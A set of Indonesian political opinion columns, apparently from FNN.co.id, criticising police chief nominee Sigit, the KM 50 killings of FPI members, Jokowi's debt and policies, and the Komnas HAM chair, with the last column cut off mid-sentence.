Bareskrim yang dikomandaninya, itulah yang menyelidiki peristiwa penembakan anggota Polda Metro Jaya terhadap enam warga negara, laskar Anggota Front Pembela Islam (FPI) di Kilometer 50 tol Jakarta-Cikampek (Japek). Bahkan penyelidikannya itu telah sampai level rekonstruksi peristiwa. Bareskrim yang dikomandani Sigit inilah yang memanggil dan memeriksa Edy Mulyadi, wartawan senior dari Portal Berita FNN.co.id. yang ditugaskan oleh redaksi FNN.co.id untuk menginvestigasi pembunuhan yang terjadi di kilometer 50 tol Japek itu. Pemeriksaan penyidik bareksirim terhadap Edy Mulyadi dilakukan tanpa melalui persidangan etik atas konten berita di Dewa Pres. Padahal Dewan Pers adalah institusi yang ditugaskan negara untuk mengadili pelanggaran atas kode etik jurnalistik dan pers sebelum diperiksa oleh penyelidik kepolisian. Edy Mulyadi malah dipanggil dan diperiksa Bareskrim begitu saja. Apa Sigit tidak tahu bahwa bahwa orang yang dapat dijadikan saksi dalam satu perkara itu adalah orang yang melihat sendiri, mendengar sendiri dan mengalami sendiri peristiwa tersebut? Masa Kabareskrim tidak tahu prinsip hukum yang sangat sesederhana seperti itu? Kabareskrim tidak tahu atau pura-pura tidak tahu, atau memang arogan? Bareskrim juga yang melakukan penangkapan terhadap Jumhur Hidayat, Dr. Sahganda Nainggolan dan Anton Permana. Apakah Kabareskrim tidak tahu protokol penangkapan? Apakah penangkapan ini diperintahkan langsung oleh Jendral Idham Aziz, Kapolri, sehingga Kabareskrim tidak berdaya menolaknya? Jumhur, Sahganda dan Anton diborgol tangannya. Bandingkan dengan empat laskar anggota FPI yang dimuat petugas Polisi di mobil tanpa diborgol tangan atau kakinya. Padahal menurut versi Kapolda Menro Jaya Fadil Imran, telah didahului dengan tembak-menembak. Apa begitu hukum yang berlaku di Bareksrim yang dipimpin oleh Sigit? Komjem yang sudah dicalonkan oleh Jokowi jadi Kapori ini? Sejauh ini Sigit diam soal temuan Komisi Nasional Hak Asasi Manusia (Komnas Ham) atas pembunuhan yang menjijikan terhadap empat orang anggota Laskar FPI. Padahal Komnas HAM sudah menyebut peristiwa itu “unlawfull killing”. Orang tahu temuan ini diumumkan Komnas HAM jauh setelah Bareskrim melakukan rekonstruksi atas peristiwa itu. Orang atau publik tahu itu. Kalau saja Komnas tidak mengumumkan temuannya, tentu Bareskrim yang Sigit pimpin akan bekerja sesuai dengan reskonstruksi yang telah dilakukan itu. Bekerja berdasarkan rekonstruksi jelas maknanya. Enam orang FPI itu mati secara sah, alias menurut hukum. Mengapa? Sesuai dengan pernyataan resmi Irjen Pol. Fadil Imran, Kapolda Metro, mereka melawan petugas. Kecuali tidak diumumkan, dan itu kami ragukan, sampai sejauh ini, Bareskirm yang dipimpin Sgit, sang calon Kapolri ini, tidak berbuat apapun. Tidak terlihat tanda-tanda Bareskrim yang dipimpim Sigit sedang berkerja menyidik peristiwa pembunuhan yang unlawful tersebut. Apa Sigit, calon Kapolri ini, tidak tahu bagaimana Dr. Ahmad Yani, SH.MH. mau ditangkap Bareskrim, atau apapun namanya itu? Apa Sigit tidak tahu pemanggilan terhadap Dr. Ahmad Yani, SH.MH harus dilakukan dengan mengerahkan para penyidik atau petugas malam-malam ke kantornya di Jalan Matraman? Mengantar surat panggilan ko banyak orang? Apa begitu hukumnya Pak Sigit? Apakah kewenangan Sigit sebagai Kabareskrim begitu terbatas? Sehingga tidak ada satu tindakan yang nyata-nyata terlihat oleh publik dalam merespon penanganan orang-orang yang dituduh melaklukan pembakaran di halte Busway Sarinah Thamrin pada demo UU Cupta Kerja? Dari video yang beredar di masyarakat, para pelaku pembakaran halte Buway Sarinah Thamrin itu berjalan penuh percaya diri? Tidakkah pada peristiwa itu, Najwa Shihab, Jurnalis yang menggawangi acara Mata Najwa mengedarkan video yang memperlihjatkan adanya orang lain di luar mereka yang telah ditangkap itu? Apakah mereka yang terekam di gambar yang diedarkan Najwa Shihab itu telah diselidiki? Apakah yang telah Kabareskrim Sigit lakukan terkait pembakaran halte Busway itu? Kalau soal-soal yang seelementer itu saja tidak mampu direalisasikan oleh Sigit dalam pekerjaan teknis, apa yang bisa bangsa ini harapkan dari Sigit sebagai Kapolri? Untuk bisa mendekorasikan republik tercinta ini dengan keadilan hukum? Apa Sigit mengerti dan faham kalau Republik Indonesia ini telah mengharamkan ketidakadilan dalam semua aspek kehidupan, termasuk hukum? Kalau nyawa anak-anak FPI diambil dengan cara paling jijik, tak beradab, bar-bar itu, jorok, primitif berhasil mejungkir-balikkan “Polisi Proter” yangsangat dibanggakan Prof. Dr. Tito Karnvan Ph.D tersebut, tidak mampu untuk menggetarkan nurani Sigit, lalu apa maknanya? Apakah tidak wajar orang berhipotesa bahwa nyawa-nyawa akan melayang lagi dalam yang belom dapat diduga? Nyawa-nyawa anak bangsa akan diambil dengan cara-cara yang menjjijikan, jorok, primitif, tidak beradab, dan bar-bar oleh petugas petugas polisi, dimasa Sigit menjadi Kapolri akan semakin sering terjadi? Atas dasar itu, kami mohon Maaf, dan dengan segala hormat kami yang tinggi kepada pribadi Komjen Pol. Sigit, kami harus yatakan Sigit tidak memiliki kaulifikasi dan kompetensi teknis bidang hukum. Entah kalau Dia memiliki kompetensi politik dalam menggerakan hukum. Atas dasar itu pula, Sigit harus dinilai tidak memiliki kompetensi untuk jadi Kapolri. DPR harus berbesar hati menolak Sigit menjadi kapolri. Sebaiknya DPR segera bersurat kepada Presiden meminta agar Presiden mengirimkan lagi nama lain untuk di fit and proper test. DPR sebaiknya tidak ngeyel terhadap soal-soal elementer di atas. Soal-soal itulah yang, dalam penilaian kami, sangat berkontribusi besar menghasilkan keadaan politik, yang kian hari kian mengkhawatirkan bangsa ini. Diskriminasi hukum yang kian menjulang saat ini, suka atau tidak, tidak bisa disepelekan. Semoga bermanfaat. Penulis adalah Wartawan FNN.co.id

Khadavi, Korban Pembunuhan Polisi di KM 50

by Abdullah Hehamahua Bandung FNN - Mobil yang saya tumpangi melaju ke arah Kebun Jeruk, Jakarta Barat. Matahari telah condong ke barat. Di depan Kantor Kejaksaan Negeri Jakarta Barat, mobil berhenti. Sebab, adzan maghrib terdengar di beberapa masjid dan mushalla di Kawasan tersebut. Kami menuju mushalla kecil di pekarangan Kantor Kejaksaan Negeri Jakarta Barat. Melihat ukuran mushalla, dugaan kuat, tidak semua muslim di kantor itu, shalat dzuhur berjamaah. Mungkin saja pimpinannya nonmuslim. Kalaupun pimpinannya muslim, nilai Pancasila yang diperoleh ketika kuliah, paling nilai C. Sebab, sila pertama Pancasila – Ketuhanan Yang Maha Esa- menunjukkan Indonesia negara agama, bukan negara komunis. Sepertinya Kepala Kejaksaan Negara (Kajari) atau pejabat di kantor itu kurang memahami isi UUD 45. Sebab, hakikat pasal 29 ayat (1) dan (2) mewajibkan umat beragama, khususnya Islam untuk shalat berjamaah di masjid atau mushalla. “Mau jumpa siapa pak,” tegur pegawai kantor itu setelah kami bersama selesai shalat berjamaah. “Cuma mampir untuk shalat maghrib,” jawabku singkat. Rumah Sederhana di Mulut Gang Mobil diparkir di tepi jalan Puri Kembangan yang sudah mulai sepi. Kami berlima menyeberang jalan. Sekitar seratus meter, kami menjumpai banyak anak muda berpakaian koko dan ketayap putih. Gang sempit di depan rumah orang tua Khadavi digelar tikar dan karpet. Banyak anak muda duduk sambil berdzikir. Kami berlima dipersilahkan duduk di atas tikar tersebut. Malam itu, 15 Desember 2021, hari ke-40, enam laskar FPI meninggal dunia dibunuh polisi dari Polda Metro Jaya. Rumah itu sederhana itu panjangnya mungkin 8 meter. Lebarnya sekitar enam meter. Ruang tamu berukuran, kurang lebih dua setengah kali tiga meter. Ruang keluarga sekitar tiga kali tiga setengah meter. Tidak nampak perabot rumah yang mewah. Di atas meja kecil, terpampang foto Khadavi. Wajahnya cerah, ganteng, bercahaya. Masih muda, sekiar 21 tahun. Nama lengkapnya, Muhammad Suci Khadavi Poetra. Anak pertama dari dua orang bersaudara. September nanti, Khadavi akan wisudah. Dia kuliah di Fakultas Perkapalan, satu universitas di Jakarta. Khadavi Ingin Menegakkan Keadilan “Khadavi pernah mau pindah ke jurusan hukum,” kata Herman Mulyana, ayah Khadavi. Mantan Satpam di salah satu super market di Jakarta ini berperawakan sedang, ramping tubuhnya. Memerhatikan postur dan penampilannya, musykil bagi saya, Herman bisa mendidik anaknya menjadi seorang teroris. “Mengapa dia ingin pindah jurusan? ” tanya saya penasaran. “Dia ingin menegakkan keadilan dan melindungi ulama,” terang Herman. Saya termenung sekejap. “Menegakkan keadilan,” gumam saya. Sesampai di rumah malam itu, terbayang kawan-kawan di KPK. Ada Penyelidik dan Penyidik KPK yang sengaja ditabrak di jalan sampai cedera. Teror dan intimidasi sudah jamak bagi pegawai Gedung Merah Putih ini. Bahkan, terjadi “perang” di antara cicak dan buaya, sampai beberapa jilid. Beberapa komisioner KPK dikriminalisasi, ditahan, dan diberhentikan secara tidak adil hanya karena mereka membuka borok korupsi yang ada di Indonesia. Wajah pegawai KPK yang saya tidak bisa lupakan adalah Novel Baswedan. Sewaktu jumpa di Singapura (2018), saya lihat bola mata kanannya menonjol keluar. Mata kiri, hampir tertutup seluruhnya. Novel berada di Singapura untuk operasi mata akibat disirami air raksa oleh dua anggota polisi. Kini, sekalipun sudah melalui operasi dan pengobatan oleh dokter pakar di Singapura, mata Novel tetap tidak pulih sebagaimana sebelumnya. Beliau mengalami cacat mata permanen. Kawanan harimau di wilayah Riau, protes atas penyelesaian kasus salah seorang kawan mereka. Sebab, Januari tahun lalu, hakim menjatuhkan hukuman empat tahun penjara terhadap pemuda yang membunuh rekan mereka, tanpa hak. Pembunuh mungkin mau menjual kulit harimau yang dibunuh tersebut. Kawanan harimau tersebut tidak bisa berbuat apa-apa karena kawan mereka tidak dapat hidup kembali sekalipun pembunuhnya dihukum empat tahun penjara. Di alam manusia yang konon paling pancasilais, penganiaya Novel hanya dijatuhi hukuman penjara setahun dan setahun setengah. Padahal, sebelah mata Novel buta total dan yang lainnya hanya 25% berfungsi. Alasan jaksa dan hakim, pelaku tidak berniat jahat untuk mencelakai Novel. Saya yang sarjana hukum dan delapan tahun berkhidmat di KPK saja, kurang mafhum atas alasan penegak hukum tersebut. Khadavi yang masih berstatus mahasiswa. Wajar jika beliau ingin menjadi sarjana hukum agar dapat menegakkan keadilan. Mungkin dalam pikirannya, bagaimana subuh hari, dua polisi datang ke masjid tempat Novel shalat, kemudian menyirami wajah Penyidik KPK tersebut dengan air raksa, tanpa niat. Apakah niat mereka sebenarnya datang ke masjid untuk shalat berjamaah saja? Sewaktu melihat Novel, timbul kegeraman mereka karena sakit hati atas apa yang dilakukan terhadap atasan mereka, beberapa waktu sebelumnya. Spontan, mereka mencelakai Novel. Sampai di sini, masih manusiawi alasannya. Pertanyaannya, dari mana air raksa yang digunakan untuk mencelakai Novel tersebut? Oh “niat”, dimana engkau berada.? “Puyeng” untuk bisa memahami jalan pikiran jaksa dan hakim. Tentu, jutaan rakyat Indonesia yang waras akan berpikir seperti saya. Wajar jika Khadavi bercita-cita, menegakkan keadilan. Kekhawatiran saya, selama pemerintahan Jokowi, ratusan, ribuan, bahkan jutaan akan bernasib sama dengan Khadavi. Tujuh jutaan peserta 212 yang di Monas tahun 2016 lalu akan menjadi Khadavi-Khadavi baru. Apalagi dengan menyaksikan penahanan HRS, ulama, dan aktivis KAMI secara lebai dan semena-mena. Khadafi Akan Wisudah Khadavi mengambil jurusan perkapalan, salah universitas di Jakarta. Di depan saya dan empat anggota rombongan lainnya, Herman mengekspresikan wajah sedihnya sewaktu mengatakan, “September ini Khadavi akan diwisudah”. Seorang mantan Satpam dengan isteri yang hanya suri rumah membesarkan dan menyekolahkan kedua anak mereka. Kedua anak ini, terkenal saleh. Apalagi Khadavi biasa menasihati orang tuanya agar jangan gila dunia. Ingatlah kehidupan akhirat. Selangkah lagi, Herman dan pasangannya akan menyaksikan anak sulungnya duduk di pelaminan, mengenakan pakaian kebesaran ‘toga’ sebagai seorang sarjana perkapalan. Namun harapan tersebut pupus hanya karena kegilaan dan nafsu duniawi di hati polisi yang menganiaya Khadavi sampai tewas. Terbayang, betapa bangga dan gembira ketika dengan isteri menghadiri satu persatu anak-anak saya wisuda. Tiba-tiba muncul gambaran syahdu di benak saya. Muncul kenangan sewaktu saya harus mengaduk semen sebagai kernek tukang bangunan di kawasan Cheras, Selangor, Malaysia agar bisa membayar uang kontrakan rumah. Bagaimana saya harus menjual pisang goreng dan air kelapa muda di tepi jalan, kawasan Ulung Kelang, Selangor, guna membeli perlengkapan sekolah anak-anak. Begitulah kira-kira perasaan dan kenangan seorang Herman dan jutaan Herman lainnya di pelosok negeri yang jatuh bangun membesarkan anak-anak dalam keterbatasan ekonomi keluarga. Pertemuan Terakhir Pagi itu, Khadavi seperti biasa pamit dari ayah dan ibunya menghadiri majelis ilmu. Sejak SMP, Khadavi rajin mengikuti majelis ta’lim di mana-mana di Jakarta. Belakangan, beliau rajin mengikuti kegiatan FPI. Apalagi memerhatikan tindakan-tindakan yang dilakukan pemerintah khususnya lima tahun terakhir ini, membuat Khadavi semakin tertarik dengan kegiatan dan dakwah FPI. FPI sering muncul ketika terjadi bencana alam, baik tsunami, gempa bumi atau banjir. Mereka menolong korban tanpa pamrih, mulai dari tsunami Aceh, Banten, NTB, Sulawesi Tengah, Yogyakarta, Jawa Barat, Jakarta dan sekitarnya serta bencana lainnya di hampir seluruh Indonesia. Herman dan isterinya tidak sangka, pertemuan pagi itu, 6 Desember 2020 adalah pertemuan terakhir dengan anak sulungnya, Muhammad Suci Khadavi Poetra. Herman sedih tapi bersemangat ketika mengemukakan kondisi fisik jazad anaknya. Menurutnya, ada dua lobang peluru dekat jantung, berwarna hitam. Maknanya, Khadavi ditembak dari jarak dekat. Matanya juga terdapat bekas penganiayaan. Ada jahitan di dada yang menunjukkan rumah sakit melakukan autopsi tanpa ijin keluarga. Bagian belakang kepala Khadavi, sampai di liang lahat pun masih keluar darah. Wajar jika Herman menolak tuduhan polisi yang mengatakan anaknya membawa senjata. “Beli gorengan saja, dia kongsi dengan kawan-kawannya. Dari mana duit untuk beli senjata,” tambahnya. “Senjatanya adalah baju koko dan kopiah putih,” lanjutnya. Itu sebabnya, Herman menolak memenuhi panggilan Polda Metro Jaya. Menurutnya, dua kali surat panggilan Polda Metro Jaya dibawa oleh Babinsa dan Ketua RT. Herman minta agar pak RT mengembalikan surat panggilan polisi tersebut. Herman kemudian minta keadilan ditegakkan dengan seadil-adilnya terhadap para pelaku pembunuhan. Keadilan yang bagaimana? Sila pertama Pancasila adalah Ketuhanan Yang Maha Esa. Hal ini ditegaskan lagi di UUD 45, pasal 29 ayat (1) Negara berdasarkan atas Ketuhanan Yang Maha Esa. Ayat (2) mengatakan, “negara menjamin tiap-tiap penduduk untuk memeluk agamanya masing-masing dan beribadah menurut agamanya dan kepercayaannya itu.” Ketentuan Pancasila dan UUD 45 terebut mengisyaratkan bahwa, hukuman bagi pembunuh (tanpa hak) harus sesuai dengan ketentuan Tuhan Yang Esa. Maknanya, penegak hukum harus merujuk Al-Qur’an, Injil, dan KUHP di mana pembunuh harus dijatuhi hukuman mati. “Hai orang-orang yang beriman, diwajibkan atas kamu qishaash berkenaan dengan orang-orang yang dibunuh; orang merdeka dengan orang merdeka, hamba dengan hamba, dan wanita dengan wanita. Maka barangsiapa yang mendapat suatu pemaafan dari saudaranya, hendaklah (yang memaafkan) mengikuti dengan cara yang baik, dan hendaklah (yang diberi maaf) membayar (diat) kepada yang memberi maaf dengan cara yang baik (pula). Yang demikian itu adalah suatu keringanan dari Rabb kamu dan suatu rahmat. Barangsiapa yang melampaui batas sesudah itu, maka baginya siksa yang sangat pedih.” (QS Al Baqarah: 178). “Siapa yang menumpahkan darah manusia, darahnya akan tertumpah oleh manusia, sebab Allah membuat manusia itu menurut gambar-Nya sendiri” (Injil, Kejadian 9:6). “Barang siapa dengan sengaja dan dengan rencana terlebih dahulu merampas nyawa orang lain, diancam karena pembunuhan dengan rencana, dengan pidana rnati atau pidana penjara seumur hidup atau selama waktu tertentu, paling lama dua puluh tahun.” (KUHP pasal 340). Jika polisi yang membunuh Khadavi, ikhlas menjalani hukuman mati yang didahului dengan tobat nasuha, in syaa Allah, mereka akan memeroleh keringanan dalam pengadilan akhirat nanti. Bahkan, bisa masuk surga jika dia muslim. Para Penyidik, JPU, dan Hakim yang menyidik, menuntut, dan memutuskan hukuman mati juga akan memeroleh keringanan atau kebebasan hukuman di akhirat kelak. Penulis adalah Mantan Penasehat KPK.

Jokowi Melompat-Lompat di Tumpukan Hutang Rp 6.000 Triliun

by M. Rizal Fadillah Bandung FNN - Banyak tersiar berita mengenai semangat Pemerintahan Jokowi untuk keluar dari krisis multi dimensi sekarang. Bahkan kabarnya Pemerintahan Jokowi bakal melakukan lompatan besar pasca krisis. Saat membuka secara virtual Rakornas III Korps Alumni Himpunan Mahasiswa Islam (KAHMI) tanggal 15 Januari 2021 lalu, Jokowi bertekad untuk melakukan lompatan saat krisis. Melompat berdasarkan langkah yang diakuinya "extra ordinary" seperti reformasi birokrasi, UU Cipta Kerja, pengembangan Usaha Mikro, Kecil dan Menengah (UMKM), serta pembentukan Indonesia Investment Authority sebenarnya kontroversial. Sebab rezim investasi ini terbukti di lapangan, sedang mengalami hambatan atau kegagalan. Kehadiran UU Cipta Kerja yang diobrak-abrik oleh para buruh, masyarakat adat dan pegiat lingkungan. Birokrasi yang semakin gemuk, serta program UMKM yang tak jelas. Bahkan terkesan tiak lebih dari sekedar pencitraan semata. Belom lagi pertentangan di dalam interal birokrasi antara Kementerian Kordinator Perekonomian dengan Kementrian Kordinator Maritim dan Investasi. Banyak netizen menyindir tentang akumulasi mimpi-mimpi dan janji-janji Jokowi yang realisasinya ibarat jauh panggang dari api. Pada tingkatan yang terbilang ekstrim, ada yang mengusulkan agar Jokowi segera dilaporkan ke Kepolisian, dengan mereferensikan pada Babe Haekal yang juga dilaporkan akibat mimpi bertemu Rosulullah Sallaahu Alaihi Wasallam. Mimpi melompat di tengah krisis itu boleh-boleh saja Pak Jokowi. Akan tetapi nampaknya yang dibaca publik adalah sebaliknya. Yang dibaca publik ini berangkat dari pengalaman mimpi-mimpi yang sudah-sudah. Pemerintahan Jokowi justru sedang bersiap siap melompat ke dalam got kembali. Ini terjadi akibat dari roket menukik meluncur ke bawah. Roketnya bukan meluncur atau melesat ke atas. Krisis ekonomi semakin dalam. Hutang luar negeri pemerintah semakin dahsyat angkanya, yaitu Rp. 6.000 triliun lebih. Dari jumlah tersebut, sejak Indonesia merdeka sampai berakhirnya SBY di Oktober 2014 (69 tahun) hanya Rp 2.600 triliun. Sedangkan selama Pak Jokowi menjadi Presiden 6 tahun, hutang pemerintah yang berhasil dibuat Pak Jokowi Rp. 3.400 triliun lebih. Hutang pemerintah Rp. 3.400 triliun lebih ini adalah prestasi Pak Jokowi yang paling membanggakan. Kondisi ini diperparah dengan daya beli rakyat semakin gawat dari har ke hari. Belum lagi investasi yang tak kunjung meningkat. Jangankan untuk meningkat, invetasi datang saja susah dan seret. Yang lebih tragis dan miris adalah alokasi anggaran untuk mengatasi pandemi dikorupsi oleh kader PDIP Juliari Peter Batubara dan koleganya saat menjabat Menteri Sosial. Dari laporan Majalah TEMPO, diduga adanya keterlibatan petinggi PDIP yang lain, termasuk Ketua DPR Puan Maharani. Setelah diteliti lebih jauh, keterlibatan banyak pihak dalam korupsi Bantuan Sosial (Bansos) ini semakin melibatkan banyak pihak, termasuk Istana sendiri. Belakangan KORAN TEMPO edisi Senin (18/01/2021) memberitakan kalau dua kader PDIP, yatu Herman Hery dan Ihsan Yunus, diduga memeperoleh proyek pengadaan bansos terbesar di Kemneterian Sosial (Kemensos). Dua kader PDIP ini mendapatkan kuota senilai Rp. 3,4 triliun. Herman Hary sekarang menjabat sebagai Ketua Komisi III DPR yang membidangi masalah-malah hukum. Bidang tugas Komisi III DPR adalah Kapolisian, Kejaksaan Agung, Komisi Pemberantasan Korupsi (KPK), Kementerian Hukum dan Hak Asasi Manusia (Kemenkumham), Mahkamah Agung, Komisi Yudisial, Mahkamah Konstitusi, Komnas HAM, Kompolnas, Komisi Kejaksaan serta Pusat Pelaporan Analisis dan Transaksi Keuangan (PPATK). Mimpi untuk melompat seperti harimau (leaping like a tiger) sulit untuk terealisasi. Sebab faktanya adalah melompat-lompat seperti katak (jumping like a frog). Semua itu, akibat dari kebijakan yang tak terencana dengan baik, reaksioner dan cenderung tambal sulam. Berkhayal untuk melompat di tengah krisis. Namun yang terjadi adalah melompat-lompat memperdalam krisis. UU Omnibus Law, reshuffle yang asal-asalan, vaksin yang tergesa-gesa, ancaman pidana kepada warga masyarakat yang penolak vaksin, lelang Rurat Utang Negara (SUN) Rp. 35 triliun, serta "menjual" danau Toba ke China adalah contoh kebijakan yang melompat-lompat seperti katak. Sementara saat berada dalam air menendang-nendang juga. Setelah hantu radikalisme dan intoleransi disebar, kini hantu baru dimunculkan, yakni ekstrimisme yang mengarah pada terorisme sebagaimana Perpres No 7 tahun 2021 yang baru diterbitkan. Perpres ini hanya alibi untuk menutupi kegagalan pemerintah mengatasi penyebaran Covid-19, resesi ekonomi dan korupsi Bansos yang diduga mulai menyasar lingkaran inti PDIP dan istana. Perpres No 7 tahun 2021 adalah tendangan katak beracun. Patut diduga sasarannya tak lain adalah umat Islam. Kelanjutan dari isue atau kebijakan "radikalisme, intoleransi, dan anti kebhinekaan" sebelumnya. Umat Islam dikesankan sebagai kekuatan berbahaya bagi Pemerintahan Jokowi yang sekuler, pragmatis, dan materialistis. Perpres terbaru yang diterbitkan ini potensial untuk membangun iklim politik saling curiga dan rawan adu domba. Kebijakan yang melompat-lompat (jumping like a frog) ini sebenarnya menunjukkan tiga fenomena. Pertama, pembangunan tanpa rencana. Kedua, menciptakan kegaduhan secara permanen. Ketiga, penggunaan alat paksaan untuk memproteksi dan mengekalkan kekuasaan. Tiga fenomena tersebut menjadi ciri negara otoritarian. Negara yang jauh dari prinsip demokrasi, abai terhadap hak-hak asasi, serta di tengah pandemi masih bisa menari-nari. Menari melompat-lompat ke kanan dan ke kiri. Penulis adalah Pemerhati Politik dan Kebangsaan.

Hancur-Lebur, Ketua Komnas HAM Menjadi Jurubicara Polisi

by Asyari Usman Medan, FNN - Ahmad Taufan Damanik, Ketua Komnas HAM, mengatakan di satu diskusi ‘online’, 17/1/2021, bahwa laskar FPI ketawa-ketawa ketika terlibat bentrok dengan aparat kepolisian pada 7 Desember 2020. Lebih sinis lagi, Taufan menilai para pengawal Habib Rizieq Syihab (HRS) itu “menikmati pergulatan”. Ini betul-betul hancur-lebur. Posisi ketua Komnas berubah menjadi jurubicara polisi. Pernyataan seperti ini seharusnya diucapkan Irjen Argo Yuwono atau jubir-jubir Polri lainnya. Taufan Damanik menyimpulkan begitu berdasarkan rekaman suara (voice note) percakapan di antara para pengawal HRS yang dia dengar. Mungkin pernah Anda dengar juga. Waktu itu viral di medsos. Ada bagian-bagian dari ‘voice note’ percakapan tsb yang sesekali terdengar ketawa. Tetapi, Taufan tidak meletakkan suara ketawa itu dalam konteks yang utuh. Pertama, para pengawal HRS tidak tahu siapa penguntit yang sedang mereka hadapi. Sebelum konprensi pers Kapolda Metro (7/12/2020) siang yang mengakui aparat kepolisian membunuh 6 pemuda FPI, pihak FPI tidak menyadari bahwa para penguntit itu adalah polisi. Artinya, pada saat terjadi kejar-kejaran itu pihak FPI beranggapan mereka tidak sedang berhadapan dengan polisi. Mereka menyebutnya OTK (orang tak dikenal). Dalam konteks ini, Taufan Damanik salah total. Dia mengatakan, “ada anggota laskar Front Pembela Islam yang tertawa-tawa saat terlibat bentrok dengan anggota Polda Metro Jaya pada 7 Desember 2020.” Taufan lupa bahwa para anggota FPI itu tidak tahu kalau para penguntit adalah aparat kepolisian. Para penguntit yang menggunakan beberapa mobil biasa (unmarked police car) itu tidak pernah menyebutkan identitas mereka. Ketua Komnas tidak bisa mengatakan, “…ketawa-ketawa ketika terlibat bentrok dengan aparat kepolisian...” Karena, kembali lagi, rombongan OTK itu masih berstatus “bukan aparat kepolisian”. Saat itu, anak-anak muda FPI tsb sedang ada masalah dengan OTK. Bisa jadi mereka menduga para penguntit adalah preman-preman yang berniat melakukan kejahatan. Kedua, Taufan Damanik juga mengatakan ada keterangan yang menunjukkan bahwa para pengawal HRS ingin berhadapan dengan pihak yang membuntuti. Tentang ini, tak perlulah analisis para ahli. Anak-anak muda yang menduga para penguntit mereka adalah “para penjahat”, pastilah mereka ingin menghadapi para penguntit OTK itu. Sesuatu yang wajar dalam insiden kejar-mengejar di jalan raya (c.q. jalan tol) seperti yang terjadi tengah malam itu. Dalam kesimpulan penyelidikan Komnas HAM, kesan “ingin menghadapi OTK” itu menjadi salah satu yang ditekankan. Di dokumen resmi Komnas disebutkan “menunggu mobil petugas” di satu rest area. Di sini, Komnas lebih berat menyalahkan anak-anak FPI itu. Bukannya menyalahkan aparat kepolisian yang jelas-jelas telah menembak mati anak-anak muda itu. Ketua Komnas sangat subjektif. Berat sebelah. Lebih berpihak kepada para penguasa ketimbang kepada rakyat. Taufan Damanik harus mencabut ucapannya tentang “anak-anak FPI ketawa-ketawa ketika menghadapi aparat”. Anda itu digaji oleh rakyat bukan untuk menjadi jurubicara polisi.[] Penulis adalah Wartawan Senior FNN.co.id.

Jokowi Tidak Sial di Hari Rabu

TAMPAKNYA hari Rabu adalah segalanya bagi Presiden Jokowi. Segala aktivitas pentingnya harus diawali pada hari Rabu. Perihal keistimewaan hari Rabu ini pun sudah menjadi rahasia umum. Publik memperbincangkannya dengan beragam penilaian. Sejak menjadi presiden periode pertama, Jokowi selalu memilih hari Rabu sebagai hari andalan untuk menandai peristiwa-peristiwa penting, mulai dari peresmian proyek, penentuan kabinet, dan terakhir penyuntikan perdana vaksin Covid-19. Sebagian masyarakat menganggap apa yang dilakukan Jokowi adalah praktik klenik, sebab semua hari adalah baik, tak perlu cari hari baik, tetapi sebagian yang lain menganggap bahwa itu budaya Jawa yang sudah turun temurun. Faktor kehati-hatian menjadi patokan masyarakat Jawa. Oleh karena itu pentingnya menentukan hari baik. Mengapa yang dipilih hari Rabu, sebab Jokowi sendiri lahir pada Rabu, 21 Juni 1961. Hari ini dalam tradisi Jawa memiliki makna khusus. Masyarakat Jawa percaya, jika seseorang ingin punya hajat tidak mencari hari baik, maka akan tertimpa kemalangan atau kesialan. Jokowi tampaknya ingin semua kebijakannya berjalan baik, lancar, dan terhindar dari sial. Ia menyandarkan hari baik itu pada hari Rabu. Benarkan ritual hari Rabu ini menyelamatkan Jokowi? Mari kita telusuri catatan ke belakang. Pada awal jabatannya sebagai Presiden, Jokowi melakukan pelantikan pertama Kabinet Gotong Royong pada Hari Rabu (22/10/2014). Dua bulan kemudian, Jokowi memilih hari Rabu akhir Desember 2014, untuk boyongan ke Istana Bogor. Namun sial, dua tahun kemudian Jokowi merombak kabinet besar-besaran pada Rabu, 27 Juli 2016. Ternyata ada yang salah dari orang-orang yang difilternya. Perombakan ini dilakukan lantaran banyak menteri yang tidak punya kapabilitas. Jokowi mengutak-atik 11 posisi kementerian di Kabinet Kerja jilid II. Satu setengah tahun kemudian, Jokowi kembali merombak susunan kabinet juga pada Rabu, 17 Januari 2018. Saat itu ia mengganti posisi Menteri Sosial, Kepala Staf Presiden, menambah anggota Wantimpres dan pelantikan KSAU. Pada awal 2019 Jokowi melakukan pertemuan dengan Agus Harimurti Yudhoyono (AHY) usai pencoblosan Pilpres kala itu. Jokowi maunya di hari Rabu, yakni 22 Mei 2019. Toh setelah itu tidak ada komunikaai yang baik di antara keduanya. Pada periode kedua, Presiden Jokowi juga melakukan pelantikan Kabinet Indonesia Maju pada hari Rabu (23/10/ 2019). Tapi sial, satu tahun kemudian, tepatnya pada Rabu, 25 November 2020, Kabinet Jokowi tertimpa musibah. Orang yang dipilihnya berkhianat. Edhy Prabowo, Menteri Kelautan dan Perikanan (KKP), tertangkap tangan Komisi Pemberantasan Korupsi dalam kasus ekspor benur lobster. KPK menangkap Edhy, sepulang dari lawatannya ke Amerika Serikat bersama istrinya di Bandara Soekarno-Hatta, Cengkareng, pada Rabu dini hari. Ndilalahnya, Edy tertangkap hari Rabu juga. Tamparan keras buat Kabinet Jokowi. Tak hanya itu, 12 hari kemudian tepatnya pada Sabtu (5/12/2020) anggota kabinet yang sudah diritual dengan “Rabu Baik”, juga dicokok KPK. Dia adalah Juliari Peter Batubara, Menteri Sosial termuda. Politisi PDIP ini harus berurusan dengan hukum dalam kasus dugaan suap pengelolaan dana bantuan sosial penanganan Covid-19 berupa paket sembako di Kementerian Sosial tahun 2020. Konon uang yang dikorup mencapai Rp 3 triliunan. Ini korupsi yang sangat memalukan dan jahat. “Rabu Sakti” yang diistimewakan Jokowi ternyata tak mampu menjaga dari sambikolo, sial, dan wirang. Akan halnya dengan pelaksanaan penyuntikan vaksin Covid 19, di mana Presiden Jokowi adalah orang yang pertama kali divaksin. Momen penting ini juga dipilih hari Rabu sebagai “Hari Baik” bagi Jokowi, tepatnya pada 13 Januari 2021. Acaranya demonstratif, disiarkan langsung oleh banyak stasiun televisi, dari teras Istana. Pesan utama yang ingin presiden sampaikan adalah, vaksin sinovac aman, halal, dan suci. Sialnya, rakyat Indonesia kadung skeptis. Apalagi pro-kontra soal vaksin ini tidak mendapatkan penjelasan yang memadai dari pemerintah. Rakyat bahkan tidak percaya, karena merasa terlampau sering dibohongi penguasa. Adegan heroik Jokowi disuntik vaksin, justru berubah jadi olok-olok. Berbagai macam keraguan muncul. Rakyat, antara lain, mempertanyakan apa betul yang disuntikkan itu vaksin Sinovac? Bukannya cuma vitamin biasa? Keraguan dan penolakan datang dari banyak kalangan, termasuk dari partai pendukung utama rezim. Adalah Ribka Tjiptaning anggota DPR dari PDIP terang-terangan 